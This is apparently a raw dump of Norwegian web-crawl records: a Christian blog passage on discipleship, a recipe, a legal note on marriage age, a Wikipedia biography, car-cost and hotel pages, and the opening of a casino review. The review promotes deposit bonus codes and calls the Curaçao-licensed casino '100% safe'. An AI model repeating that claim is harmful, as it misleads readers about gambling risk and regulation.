Ahmadinejad at \"Israel m\u00e5 tilintetgj\u00f8res med \u00e9n storm\". Stormen er klart ikke en vind, men han peker, if\u00f8lge den billedlige retorikken, p\u00e5 en atombombe.\"*\n\nDette og det som al-Kubaisi ellers skriver b\u00f8r f\u00e5 det til \u00e5 ringe noen bjeller hos kristne. Bibelen hevder at i endens tid skal det dukke opp en skikkelse som kalles Antikrist. Kristne har helt siden EUs opprettelse knyttet hans komme til EU. Tiden er kanskje moden for en revurering av dette endetidsparadigme.\n\nDet er for\u00f8vrig blitt gjort allerede, og flere b\u00f8ker er skrevet om emnet. En forfatter; Joel Richardson har skrevet en bok der han sammenligner denne islamske endetidsteologien med Bibelens, og med et sv\u00e6rt interessant resultat. Du kan lese en onlineversjon av boken her. Og jeg vil anbefale deg \u00e5 gj\u00f8re det.\n\n*posted by Christianculture at 9:17 AM* 1 comments\n\n## Monday, June 04, 2007\n\n### Disippelskap, etterf\u00f8lgelse og n\u00e5de. Del 5.\n\nV\u00e5rt tema her er disippelskap, etterf\u00f8lgelse og n\u00e5de. Vi kunne ogs\u00e5 omtale det som helliggj\u00f8rende n\u00e5de. Det handler om at Kristus skal vinne skikkelse i oss  \n  \nDet kristne livet er et samarbeid mellom Den Hellige \u00c5nd og den troende. For at Den Hellige \u00c5nd skal kunne utf\u00f8re et n\u00e5deverk i v\u00e5re liv m\u00e5 vi samarbeide med Ham. Dette ser vi allerede i frelsen; Jesus kaller oss ved sin n\u00e5de, men vi m\u00e5 gi respons p\u00e5 Guds kall. Dette samarbeidet mellom Den Hellige \u00c5nd og den troende kommer godt til utrykk i hva Paulus sier om forholdet mellom n\u00e5den og hans aposteltjeneste i 1.Kor 15.10: \"*Men ved Guds n\u00e5de er jeg det jeg er, og hans n\u00e5de mot meg har ikke v\u00e6rt forgjeves. For jeg har arbeidet mer enn noen av dem, det vil si ikke jeg, men Guds n\u00e5de som har v\u00e6rt med meg*.\" Dette er et meget interessant vers. Paulus understreker at den n\u00e5de han har f\u00e5tt fra Gud ikke har v\u00e6rt forgjeves. Med andre ord er det mulig \u00e5 ta imot Guds n\u00e5de forgjeves. Videre understreker han hvorfor den n\u00e5de han har tatt imot ikke har v\u00e6rt forgjeves: \"*For jeg har arbeidet mer enn dem alle*\" Vi ser her det samarbeid som utspiller seg mellom Den Hellige \u00c5nds n\u00e5de og Paulus. Gud gav n\u00e5den og Paulus arbeidet. Men Paulus er fullstendig klar over at det er n\u00e5den som er fundamentet for det arbeidet han gj\u00f8r, derfor fortsetter han med \u00e5 si: \"*Det vil si ikke jeg, men Guds n\u00e5de som er med meg.*\"  \n  \nVi ser det samme i i Fil.2.12-13: \"*Arbeid p\u00e5 deres frelse med frykt og beven\\! For det er Gud som virker i dere b\u00e5de \u00e5 ville og \u00e5 gj\u00f8re etter hans gode vilje*.\" N\u00e5r vi velger \u00e5 bli Jesu etterf\u00f8lgere og disipler kommer Den Hellige \u00c5nd til \u00e5 begynne et n\u00e5deverk i v\u00e5re liv for \u00e5 skape Kristuslikhet i oss. For \u00e5 gj\u00f8re sitt verk vil Den Hellige \u00c5nd bruke de midlene som beskrives i Ap.gj.2.42: Apostlenes l\u00e6re, felleskapet, br\u00f8dsbrytelsen og b\u00f8nnene. Gjennom disse n\u00e5demidlene vil Den Hellige \u00c5nd inngydte sin n\u00e5de i oss som vil skape b\u00e5de viljen og gi oss kraften til \u00e5 gj\u00f8re Guds vilje. Men akkurat som med Paulus er det viktig at vi ikke tar imot Guds n\u00e5de forgjeves, og derfor oppfordrer Paulus oss til \u00e5 arbeide p\u00e5 v\u00e5r frelse med frykt og beven.  \n  \nSom vi tidligere har sett sier Jesus i Mark 8.34: \"*Den som vil f\u00f8lge etter meg, m\u00e5 fornekte seg selv og ta sitt kors opp, og f\u00f8lge meg*.\" Dette er ikke noe vi gj\u00f8r en gang for alle, dette er valg vi gj\u00f8r daglig. Daglig velger vi \u00e5 si nei til kj\u00f8det djevelen og verden. Og daglig velger vi \u00e5 si ja til Jesus og \u00e5 f\u00f8lge ham. Vi tar valg og handler, men vi er ikke alene, Gud virker i oss b\u00e5de \"\u00e5 ville og \u00e5 gj\u00f8re etter hans gode vilje\" Det er dette som Paulus ogs\u00e5 omtaler som \u00e5 legge av det gamle menneske som \u00f8delegges av de forf\u00f8rende lystene, og \u00e5 ikle oss det nye menneske som er skapt etter Gud bilde til et liv i rettferd og hellighet etter sannheten. Eller som han ogs\u00e5 sier i Rom.6.19: \"*F\u00f8r stilte dere lemmene deres til tjeneste for umoral og urettt, og det f\u00f8rte bare til enda mer urett. Men n\u00e5 skal dere stille lemmene til tjeneste for det som er rett, s\u00e5 dere kan bli hellige*\"  \n  \nI Jak.45-6 st\u00e5r det: \"*Eller tror dere det er tomme ord n\u00e5r Skriften sier: Med hellig iver krever Gud den \u00e5nd han har latt bo i oss. Men st\u00f8rre er den n\u00e5de han gir; derfor heter det Gud st\u00e5r de stolte imot, men de ydmyke gir han n\u00e5de*.\" Det som gjelder for oss er \u00e5 innse at det Gud krever kan vi aldri gj\u00f8re i egen kraft. Vi trenger som Paulus \u00e5 leve i en erkjennelse av egen tilkortkommenhet og svakhet, samtidig som vi vet at Gud er rik nok for hver den som p\u00e5kaller ham. Gud gir den ydmyke n\u00e5de.  \n  \nI Titus 2.11 sier Paulus: \"*For Guds n\u00e5de er blitt \u00e5penbart for \u00e5 gi frelse til alle mennesker. Og hans n\u00e5de oppdrar oss til \u00e5 si fra oss ugudeligheten og de verdslige lyster og leve i selvtukt, rettferd og gudsfrykt i den verden som n\u00e5 er*\" Gud gir det han krever og krever det han gir. V\u00e5r oppgave er \u00e5 f\u00f8lge Jesus og leve i et n\u00e6rt livsfelleskap med ham gjennom apostlenes l\u00e6re, felleskapet, br\u00f8dsbrytelsen og b\u00f8nnene som sakte men sikkert former oss i hans bilde. Gjennom den kraft som dette gir, vil vi mer og mer kunne inkarnere Jesuslivet i v\u00e5r daglige vandring og vi blir mer og mer lik v\u00e5r mester. Vi m\u00e5 kontinuelig ha v\u00e5rt fokus p\u00e5 Jesus, og ikke bli opptatt av hvor langt vi er kommet, eller hvor \u00e5ndelige vi er blitt, det vil kun v\u00e6re \u00f8deleggende for v\u00e5r videre vandring. S\u00e5 lenge vi vandrer p\u00e5 denne jorden vil vi aldri komme til det punkt hvor vi har n\u00e5dd frem, eller har grepet det. I f\u00f8lge Paulus er en slik holdning kun et tegn p\u00e5 umodenhet. Den modne kristnes innstilling beskriver Paulus p\u00e5 f\u00f8lgende m\u00e5te i Fil.3.12-15: \"*Jeg mener ikke at jeg alt har n\u00e5dd dette eller allerede er fullkommen, men jeg jager fram mot det for \u00e5 gripe det, fordi jeg selv er grepet av Kristus Jesus. Br\u00f8dre jeg tror ikke om meg selv at jeg har grepet det. Men en ting gj\u00f8r jeg: Jeg glemmer det som ligger bak og strekker meg etter det som er foran, og jager fram mot m\u00e5let og den seierspris som Gud har kalt oss til i Kristus Jesus. Slik skal vi se det alle vi som har n\u00e5dd modenhet*.\"\n\n", "language": "no", "__index_level_0__": "fdd845df-f37b-4d78-9fa0-d0b5bdced122"}
{"url": "http://oppskrift.klikk.no/nypotet%2C-stekt-laks-og-sommersalat-med-r%C3%B8mmedressing/3599/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:30:45Z", "text": "\n\nFoto: God Morgen Norge, TV 2.\n\n# Nypotet, stekt laks og sommersalat med r\u00f8mmedressing\n\nTakk for din vurdering\\!\n\n \n\nH\u00f8yde (px):  Bredde (px): \n\nMinimum bredde m\u00e5 v\u00e6re 400 px\n\nIngredienser\n\n4 porsjoner\n\nStekt laks:\n\n800\u00a0g laks\n\n\u00a0 salt\n\n\u00a0 pepper\n\n\u00a0 sitronsaft\n\n\u00a0 olje eller sm\u00f8r til steking\n\nSommersalat med r\u00f8mmedressing:\n\n2\u00a0stk hjertesalateller:\n\n1\u00a0stk hodesalat\n\n1\u00a0dl r\u00f8mme\n\n2\u00a0ts sitronsaft\n\n2,5\u00a0ts sukker\n\n4\u00a0ss finhakketgressl\u00f8keller dill\n\nAgurksalat:\n\n1\u00a0stk slangeagurk, i skiver\n\n0,75\u00a0ts salt\n\n1\u00a0ss olje\n\n0,75\u00a0ts eddik\n\n0,5\u00a0ts pepper, sort og nykvernet\n\n1,5\u00a0ts sukker\n\n\u00a0 evt. litttsennep\n\n\u00a0 persille\n\nSlik gj\u00f8r du det:\n\nSkrubb nypoteter og legg i en gryte med vann s\u00e5 det s\u00e5 vidt dekker potetene. Tilsett rikelig med salt (til 1 kg poteter, en h\u00e5ndfull salt) og dill, ta gjerne med stilkene. Kok opp og la potetene trekke til de er m\u00f8re. Pr\u00f8v deg fram med en liten spiss kniv. Hell av kokevannet og damp potetene godt. Tilsett hakket dill\u00a0eventuelt\u00a0litt flaksalt og server med sm\u00f8r, gjerne lokalt produsert\u00a0sm\u00f8r. Stekt laks: Dryss salt og pepper p\u00e5 laksen. Varm olje i en stekepanne, tilssett sm\u00f8r og la sm\u00f8ret bruse ut f\u00f8r fisken legges i. Press over sitron og la fisken steke 2 - 3 min. p\u00e5 hver side. Sommersalat med r\u00f8mmedressing: Skyll og rist godt av salatbladene. Riv dem i mindre biter. Visp r\u00f8mmen stiv med sitron og smak til med sukker og gressl\u00f8k. Vend salaten lett inn i dressingen. Server straks. Tips: R\u00f8mme kan erstattes med stivpisket krem eller en blanding av r\u00f8mme og krem. Agurksalat: Skyll agurken og fjern\u00a0eventuelt\u00a0skall med en potetskreller.\u00a0H\u00f8vle agurken i tynne skiver med en osteh\u00f8vel. Dryss p\u00e5 salt og la agurkskivene s\u00e5 med saltet i 10 - 15 minutter. Hell av vannet som danner seg. Bland sammen olje, eddik og pepper og smak til med sukker\u00a0eventuelt\u00a0sennep. Hell laken over agurkskivene og vend\u00a0lett om med to gafler. La salaten st\u00e5 og trekke minst 10 minutter f\u00f8r servering. Dryss over finhakket kruspersille ved servering.\n\n\n\nOppskrift: Wenche Andersen\n\n", "language": "no", "__index_level_0__": "11066ee9-86fa-43d2-b3e2-bf545aa9c25a"}
{"url": "https://nettsteder.regjeringen.no/beredskapssenter/category/aktuelt/page/3/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:30:21Z", "text": "## M\u00f8ter med kommunene og barn og unge\n\nDato: 2. desember 2016\n\nSom en del av planleggingen av beredskapssenter i Ski kommune, arrangeres det jevnlige m\u00f8ter mellom myndighetene og representanter fra kommunene Ski og Oppeg\u00e5rd. Det blir i tillegg gjennomf\u00f8rt m\u00f8ter med barn og unge.\n\n## \u00c5pne m\u00f8ter i Ski og Oppeg\u00e5rd\n\nDato: 3. november 2016\n\nDet ble gjennomf\u00f8rt \u00e5pne m\u00f8ter for innbyggerne i Ski og Oppeg\u00e5rd 31. oktober og 2. november 2016. Der kom publikum med en rekke sp\u00f8rsm\u00e5l og innspill til de som er ansvarlige for planlegging av beredskapssenteret.\n\n", "language": "no", "__index_level_0__": "0efcc454-a565-4ca7-8fa1-ab41e9f6b4f0"}
{"url": "http://barnerettsbloggen.no/hvor-gammel-ma-man-v%C3%A6re-for-a-gifte-seg/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:17:46Z", "text": "# Hvor gammel m\u00e5 man v\u00e6re for \u00e5 gifte seg?\n\n19/06/2010advokatwulff\n\nEkteskapsloven \u00a7 1a bestemmer aldersgrensen for n\u00e5r man kan f\u00e5 lov til \u00e5 gifte seg i Norge:\n\n**\u00a7 1a. Ekteskapsalder.**\n\n*Den som er under 18 \u00e5r, kan ikke inng\u00e5 ekteskap uten samtykke fra dem eller den som har foreldreansvaret, og tillatelse fra fylkesmannen. Fylkesmannen kan ikke gi tillatelse dersom den som s\u00f8ker, er under 16 \u00e5r.*\n\nEr en av dem som har foreldreansvaret, uten rettslig handleevne, eller kan samtykke ikke innhentes innen rimelig tid, er samtykke fra den andre tilstrekkelig. Er begge i en slik situasjon, og det er oppnevnt verge, kreves samtykke fra vergen.\n\nFylkesmannen kan bare gi tillatelse n\u00e5r det foreligger sterke grunner for \u00e5 inng\u00e5 ekteskap.\n\nNekter de eller den som har foreldreansvaret, eller vergen \u00e5 gi samtykke, kan fylkesmannen likevel gi tillatelse hvis det ikke er rimelig grunn for nektelsen.\n\nSom det fremg\u00e5r av regelverket er det opp til foreldrene \u00e5 samtykke dersom barn mellom 16 \u00e5r og 18 \u00e5r \u00f8nsker \u00e5 gifte seg. Jeg vil anta at dette faller inn under foreldreansvaret (barneloven \u00a7 30) og ikke inn under myndigheten til den som har den daglige omsorgen / fast bosted (barneloven \u00a7 37.)\n\n", "language": "no", "__index_level_0__": "c77ca862-b3b4-4077-b9e0-3f5ea67a879a"}
{"url": "https://no.wikipedia.org/wiki/Ferdinando_Galiani", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00596.warc.gz", "warc_date": "2018-03-25T00:11:02Z", "text": "**Ferdinando Galiani** (2. desember 1728 \u2013 30. oktober 1787) var en italiensk \u00f8konom og framtredende tenker under den italienske opplysningstiden. Den tysk filosofen Friedrich Nietzsche karakteriserte ham som \u00abden mest n\u00f8yaktige og fornemme tenkeren\u00bb,^(\\[1\\]) foruten ogs\u00e5 som \u00ab... den mest inng\u00e5ende, skarpsynte og kanskje ogs\u00e5 den mest motbydelige mann i sitt \u00e5rhundre.\u00bb^(\\[2\\])\n\nGaliani ble en leder innenfor den napolitanske skole. Hans \u00f8konomiske tenking var p\u00e5virket av Aristoteles, Bernardo Davanzati, John Locke, og andre, og han selv ble kjent for sine bidrag til verditeori, renteteori, og \u00f8konomiske politikk, emner som ble videreutviklet et \u00e5rhundre senere av Eugen B\u00f6hm von Bawerk, William Stanley Jevons og den tyske historieske skole. Den \u00f8sterrikske skole innenfor samfunns\u00f8konomi mottok sterke impulser fra Galiani.^(\\[3\\])\n\n\n\n*Della moneta*, 1780\n\nHan ble f\u00f8dt i Chieti i dav\u00e6rende konged\u00f8mmet Napoli, og var blant de sju barna til Marchese Matteo Galiani, bydelsforvalteren i Chieti, og hans ektefelle Maria Ciaburra. Fra 1735 og utover ble han grundig utdannet av sin onkel, monsignor C. Galiani, ved Napoli, som p\u00e5 den tiden var Europas tredje st\u00f8rste by.\n\nGaliani viste tidlig sine lovende egenskaper som \u00f8konom og intellektuell satiriker I en alder av 22 publiserte han sitt magnum opus, *Della Moneta \u2013 Libri Cinque* (*Om penger \u2013 fem b\u00f8ker*), hvor han markerte seg som en ivrig tilhenger av merkantilistisk \u00f8konomisk teori.\n\nDen andre boken hans, *Raccolta in Morte del Boia* (*Kolleksjon av d\u00f8dsd\u00f8mte*), ga ham for all ettertid et rykte for \u00e5 v\u00e6re en humoristisk skribent, med usedvanlige tale- og skrivegaver. Boken ble sv\u00e6rt popul\u00e6r i italienske litteraturkretser mot slutten av 1700-tallet. Galianis politiske kunnskaper og sosiale egenskaper vakte oppmerksomhet hos Kong Karl av Napoli og Sicilia (den senere Karl III av Spania) og hans minister, som i 1759 utropte Galiani til sekret\u00e6r ved den napolitanske ambassaden i Paris. Denne stillingen holdt han i ti \u00e5r, inntil han dro tilbake til Napoli og ble minister for utenlandshandel, og i 1777 minister for de kongelige aff\u00e6rer.\n\nHans \u00f8konomiske ry ble for ettertiden kjent i hans tredje bok, skrevet p\u00e5 fransk, publisert i 1769 i Paris, med navnet: *Dialogues sur le commerce des bl\u00e9s* (Dialoger om kornhandelen). Dette verket, med dets humoristiske og tiltalende spr\u00e5k, frydet den franske filosofen Voltaire, som beskrev den som en komposisjon ^(\\[sic\\]) av det beste av b\u00e5de Platon og Moli\u00e8re.\n\nEt omstridt sp\u00f8rsm\u00e5l handlet om kornhandelen. Hvor fri skulle den v\u00e6re? Et kongelig edikt av 1764 tillot korneksport s\u00e5 lenge prisen ikke var n\u00e5dd opp til et visst niv\u00e5. Det overordnede prinsippet Galiani i denne sammenhengen gikk inn for var at det beste systemet innenfor slik handel er \u00e5 ikke ha et systen \u2014 Land med ulike forhold trenger etter hans beregning forskjellige systemer og metoder.\n\nDet som av mange regnes for \u00e5 v\u00e6re hans store feil, var at han, i likhet med mange andre merkantilister, hevdet at et land ikke kan tjene p\u00e5 handel uten at et annet taper. Videre mente han at staten konstant burde devaluere valutaen.\n\nHelt til sin d\u00f8d i Napoli holdt Galiani brevkorrespondanser med sine gamle venner i Paris; hvilke ble publisert i 1818.\n\n", "language": "no", "__index_level_0__": "3427d978-721d-4554-b1ad-3b38c22edcb9"}
{"url": "http://interiorogboligmessen.blogspot.com/2013/10/cupcakes-ja-takk.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:28:13Z", "text": "\n\n\u00a0\n\n\n\u00a0\n\n\n\u00a0\nUnder messen skal\u00a0Manuela imponere og begeistre publikummere. Og jeg\u00a0bare vet at\u00a0jeg skal smake en rekke av hennes s\u00f8te fristelser. Mmmmm med kaffe fra Kaffemisjonen til - s\u00e5 blir det en perfekt messehelg\\!\n\n\u00a0\nManuela - du er hjertelig velkommen til Bergen. Lykke til med all bakst i forkant\\! Husk \u00e5 ta med rikelig;-)\n\n\u00a0\n\n\n\u00a0\n Lagt inn av  Interi\u00f8r- og boligmessen    kl. 08:00        \n\n", "language": "no", "__index_level_0__": "0909efa3-c21e-4674-939d-fd34a54f8939"}
{"url": "https://www.tek.no/ordbok/?wordId=246", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:30:40Z", "text": "#### FireWire\n\nFireWire er en metode for \u00e5 koble digitalt utstyr til en datamaskin. Standarden (IEEE 1394) likner mye p\u00e5 USB, men er betydelig raskere. FireWire ble originalt utviklet av Apple, men er n\u00e5 i bruk p\u00e5 PC-platformen ogs\u00e5. FireWire brukes ofte til \u00e5 koble til videoutstyr og kortlesere.\n\n", "language": "no", "__index_level_0__": "c80b71f9-4412-4199-b9f9-43134b26b331"}
{"url": "http://www.klikk.no/motor/bil/til-sankthans-har-du-tjent-nok-til-a-eie-en-bmw-3-serie-3230275", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00309.warc.gz", "warc_date": "2018-03-24T23:47:12Z", "text": "# Til sankthans har du tjent nok til \u00e5 eie en BMW 3-serie\n\n### En europeisk unders\u00f8kelse viser hvor lenge du m\u00e5 jobbe for \u00e5 holde deg med bil.\n\n\n\n  Geir Svardal  \n\nPublisert 06.04.11  Oppdatert 28.10.14 \n\n## BigMac-indeksen\n\nDen sveitsiske storbanken UBS har i 38 \u00e5r utgitt sin oversikt over \"Prices and Earnings\" verden rundt. Den har gitt opphav til den s\u00e5kalte BigMac-indeksen. Denne indeksen forteller hvor mange minutter man m\u00e5 jobbe i ulike land for \u00e5 sitte igjen med nok penger etter skatt til \u00e5 kunne kj\u00f8pe den velkjente hamburgeren. Indeksen brukes som en lett forst\u00e5elig sammenligning av kj\u00f8pekraft og levestand mellom landene.\n\n**Bor du i Oslo m\u00e5 du jobbe i 21 minutter for \u00e5 kj\u00f8pe en BigMac, mens bor du i Budapest m\u00e5 du slite i 59 minutter for \u00e5 f\u00e5 den samme burgeren. Tilsvarende tall eksisterer for 1 kg br\u00f8d og 1 kg ris. I 2009 kom for f\u00f8rste gang et ikke-mat produkt, og da i form av den velkjente iPod Nano 8GB.**\n\nLeasePlan, som er verdens st\u00f8rste selskap innen bil\u00f8konomi, har supplert unders\u00f8kelsen med en bilholdsindeks, basert p\u00e5 leasing av bilene med tillegg for drivstoff, vedlikehold og dekkslitasje. Kostnadene for en privatperson som eier bilen selv vil v\u00e6re tiln\u00e6rmet de samme.\n\nSlike indekser er ideelle for produkter som kan kj\u00f8pes mange steder i verden, og som er stort sett like alle steder.\n\nFor \u00e5 f\u00e5 et riktigst mulig tall for l\u00f8nnsinntekt er det bruk et gjennomsnitt av 14 ulike yrker. Fra industrisektoren er det brukt: Bygningsarbeider, bilmekaniker, fagl\u00e6rt industriarbeider, ingeni\u00f8r og avdelingsleder. Fra tjenestesektoren er det brukt: L\u00e6rer i barneskole, bussj\u00e5f\u00f8r, kokk, sekret\u00e6r, salgsassistent, call-senter medarbeider og bankfunksjon\u00e6r. Dette gir et riktigere bilde enn den mer vanlig brukte \"gjennomsnittlig industriarbeiderl\u00f8nn\".\n\nHva en bil koster er ikke s\u00e5 interessant. Det interessante er hvor lenge du m\u00e5 jobbe for \u00e5 dekke kostnaden ved bilholdet.\n\n#### Hvor lenge m\u00e5 du jobbe for bilen?\n\nEn europeisk unders\u00f8kelse viser hvor mye gjennomsnittsnordmenn bosatt i Oslo m\u00e5 jobbe for bilen sin, sammenliknet med innbyggere i ni andre hovedsteder. Unders\u00f8kelsen baserer seg p\u00e5 fire ulike bilmodeller, og bilholdskostnadene er basert p\u00e5 leasing av bilene med tillegg for drivstoff, vedlikehold og dekkslitasje.\n\nKostnadene for en privatperson som eier bilen selv vil v\u00e6re tiln\u00e6rmet de samme.\n\nResultatet viser at bil - sv\u00e6rt h\u00f8ye nybilpriser til tross - ikke er spesielt dyrt i Norge. \u00c5rsaken er selvsagt at nordmenn har h\u00f8ye l\u00f8nninger.\n\n#### Norge midt p\u00e5 treet, Sverige best\n\nP\u00e5 den andre siden er ikke bil spesielt billig her, heller. Vi havner midt p\u00e5 treet, bak Sverige, Danmark, Spania og Frankrike, der folk m\u00e5 jobbe mindre enn nordmenn f\u00e5r \u00e5 holde seg med bil.\n\nSlik ser lista ut, med det billigste bil-landet \u00f8verst:\n\n1.  Sverige\n2.  Spania\n3.  Frankrike\n4.  Danmark\n5.  Norge\n6.  Finland\n7.  \u00d8sterrike\n8.  Nederland\n9.  Italia\n10. Tsjekkia\n\nDe fire bilene som er tatt med i unders\u00f8kelsen, er Audi A4 Tdi 136, VW Golf 1,6 105 HK, BMW 318d, 146 HK og Toyota IQ 1.33Dual.\n\nI Norge m\u00e5 du jobbe 18,8 timer for Audien og 12, 6 timer for Golfen. Svenskene trenger bare \u00e5 jobbe 14,6 og 18,1 timer for de samme bilene.\n\nHer kan du laste ned hele oversikten.\n\n#### Jobber fram til lunsj p\u00e5 onsdag for \u00e5 betale bilen\n\nTa for eksempel en BMW 318d Touring, som vi har testet, med godt resultat. I Stockholm m\u00e5 du jobbe i to dager - eller mer n\u00f8yaktig, i 15 timer - per uke for \u00e5 dekke utgiftene til denne modellen. I Oslo m\u00e5 du jobbe en halv dag ekstra (19 timer).\n\n\\- Du jobber alts\u00e5 frem til lunsj onsdag for \u00e5 klare av utgiftene til bil. S\u00e5 kan du jobbe for andre utgifter resten av uken. Ikke rart at to inntekter i en familie er standarden, sier markedsdirekt\u00f8r Marius Paus i LeasePlan, som har v\u00e6rt delaktige i unders\u00f8kelsen.\n\n#### Hardt arbeid i Praha\n\nS\u00e5 kan man jo v\u00e6re glad for at man ikke bor i Praha, der man m\u00e5 jobbe 70 timer i uken for \u00e5 ha r\u00e5d til BMW-en.\n\nOm bilhold er verken spesielt dyrt eller billig i Norge, m\u00e5 vi generelt sett jobbe mer enn mange andre for \u00e5 ha r\u00e5d til diverse varer og tjenester. I unders\u00f8kelsen ble ogs\u00e5 en \"handlekurv\" med s\u00e5nt, tenkt benyttet av en familie p\u00e5 tre, satt sammen.\n\nDa havnet Norge p\u00e5 8. plass av ti land. Men det er jo en mager tr\u00f8st at andre varer relativt sett er enda dyrere enn bil. Den generelle kj\u00f8pekraften i Norge er \u00e5penbart ikke s\u00e5 god som vi kanskje liker \u00e5 tro.\n\nEllers er det jo p\u00e5 sin plass \u00e5 nevne at du selv kan gj\u00f8re mye med kostnadene til bilhold, ved for eksempel \u00e5 fylle drivstoff til riktig tid, v\u00e6re smart n\u00e5r du kj\u00f8per dekk og velge verksted med omhu, ikke minst n\u00e5r du skal fikse mindre lakkskader og rette opp sm\u00e5bulker.\n\n", "language": "no", "__index_level_0__": "d23053dd-6a11-4bff-be01-48eb27d8812e"}
{"url": "http://www.fleischers.no/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00128.warc.gz", "warc_date": "2018-03-24T23:09:12Z", "text": "## Ferie og fritid\n\nVoss har aktvitetene - vi har rommene, maten, sv\u00f8mmebassenget, tennisbanen, sommerterrassen, osv... Slik sikrer vi\u00a0de beste ferieminnene\\!  \n  \n\n## Konferanse\n\nFra sm\u00e5 til store grupper -\u00a0sammen med v\u00e5re samarbeidspartnere p\u00e5 Voss\u00a0 skreddersyr vi konferansen i henhold til\u00a0dine \u00f8nsker\u00a0og\u00a0behov.  \n  \n\nMedlemsorganisasjon som inkluderer mange av Norges mest sjarmerende hotell og spisesteder.\n\n \n\nFleischer's Hotel er sertifisert Milj\u00f8fyrt\u00e5rn - Norges mest brukte sertifikat for \u00e5 dokumentere milj\u00f8innsats og vise samfunnsansvar.\n\nNorges mest brukte sertifikat for \u00e5 dokumentere milj\u00f8innsats og vise samfunnsansvar.\n\n \n\nVi er medlem av Destinasjon Voss, som er et reisem\u00e5ls- og utviklingsselskap som arbeider for \u00e5 markedsf\u00f8re Voss, samt drive prosjektutvikling innen reiseliv.\n\nReisem\u00e5ls- og utviklingsselskap som arbeider for \u00e5 markedsf\u00f8re Voss, samt drive prosjektutvikling innen reiseliv.\n\n", "language": "no", "__index_level_0__": "63a2da20-52a7-4a58-935d-0611b0f9ccc6"}
{"url": "https://mammamio.wordpress.com/2011/05/03/hvorfor-sa-stille/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00128.warc.gz", "warc_date": "2018-03-24T23:05:45Z", "text": " Mamma Mio \n\nEt fors\u00f8k p\u00e5 \u00e5 skrive seg under overflaten av mammalivet.\n\n\n\n## Hvorfor s\u00e5 stille\n\nPostet den mai 3, 2011 by mammamio \n\nDe siste m\u00e5nedene, ja i grunnen hele vinteren har v\u00e6rt tilsl\u00f8rt av tung materie. S\u00e5 derfor har det blitt stille p\u00e5 ordfronten. I alle fall her inne. N\u00e5 begynner det \u00e5 letne, for hver dag som g\u00e5r siver mer og mer lys inn, og hvem vet kanskje det kan f\u00f8re til mer bloggbare skriverier? Det varmer i alle fall som v\u00e5rsola utenfor at jeg har lesere tross stillheten. Takk:)\n\n### Ett svar til *Hvorfor s\u00e5 stille*\n\n1.   Lammel\u00e5ret sier:\n    \n    mai 3, 2011, kl. 8:28 pm\n    \n    Jeg gleder meg til du blogger igjen\\!  \n    N\u00e5r det passer deg\\!\n    \n", "language": "no", "__index_level_0__": "f0aab494-cad9-4398-a5c0-cfd1f263dcaa"}
{"url": "http://www.xn--casinopnett-38a.org/bobcasino/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:01:05Z", "text": "BobCasino er et morsomt nettcasino, med kjappe uttak og sikre innskudd. Temaet trekker ned litt, fordi det er ganske kontroversielt.\n\n| Fordeler          | Ulemper                    |\n| ----------------- | -------------------------- |\n| Kjappe uttak      | Kontroversielt tema        |\n| Sikre innskudd    | Curacao lisens             |\n| Stort spillutvalg | Ikke alle spill fra NetEnt |\n\nBob Casino er et helt nytt casino som startet i Juli 2017. De tilbyr gode bonuser, god kundeservice og har et stort utvalg av spill. Casinoet er basert p\u00e5 karakteren Bob.\n\nI denne omtalen skal vi g\u00e5 gjennom de viktigste og mest avgj\u00f8rende faktorene i casinoet, slik at du vet mest mulig f\u00f8r du g\u00e5r igang. Da er du ogs\u00e5 sikker p\u00e5 at du ikke f\u00e5r noen uventede overraskelser n\u00e5r du spiller hos dem.\n\nCasinoet er lisensiert og regulert p\u00e5 Curacao. Noe som gj\u00f8r det 100% trygt.\n\n\u00a0\n\n## Ditt velkomsttilbud\n\nHos Bob Casino mottar du en velkomstpakke som gir deg opptil 5000 kroner og 140 gratis spinn.\n\nVelkomstpakken fungerer slik:\n\n\u2043 Registrering: Du mottar 10 gratis spinn p\u00e5 spilleautomaten Boomanji ved registrering, ingen innskudd kreves.\n\nF\u00f8rste innskudd: Bruk koden BEHAPPY ved ditt f\u00f8rste innskudd og motta 100% bonus opptil 1000 kroner + 100 gratis spinn p\u00e5 Boomanji.\n\nAndre innskudd: Bruk koden 2JOINTS ved ditt andre innskudd og motta 50% bonus opptil 2000 kroner.\n\nTredje innskudd: Bruk koden BOBONELOVE ved ditt tredje innskudd og motta 50% bonus opp til 2000 kroner + 30 gratis spinn p\u00e5 The Tipsy Tourist.\n\n\u00a0\n## Andre kampanjer/bonuser\n\nBob Casino har et veldig bra og bel\u00f8nnende VIP program. Det fungerer slik at for hver innsats du plasserer i casinoet, mottar du poeng kalt 'seeds'. Desto mer poeng du tjener, jo mer og st\u00f8rre bel\u00f8nninger vil du motta. Det finnes 22 VIP niv\u00e5, alle med hver sin bel\u00f8nning som utbetales n\u00e5r du n\u00e5r niv\u00e5et. Kommer du helt til topps, mottar du den h\u00f8yeste bel\u00f8nningen som er p\u00e5 utrolige 100.000 kroner.\n\nEn annen imponerende ting med casinoet, er at om du blir en lojal spiller hos dem, f\u00e5r du din egen VIP manager. Denne personen vil gi deg ekstra bonuser og gratis spinn ved jevne mellomrom.\n\nAlle andre kampanjer som bli 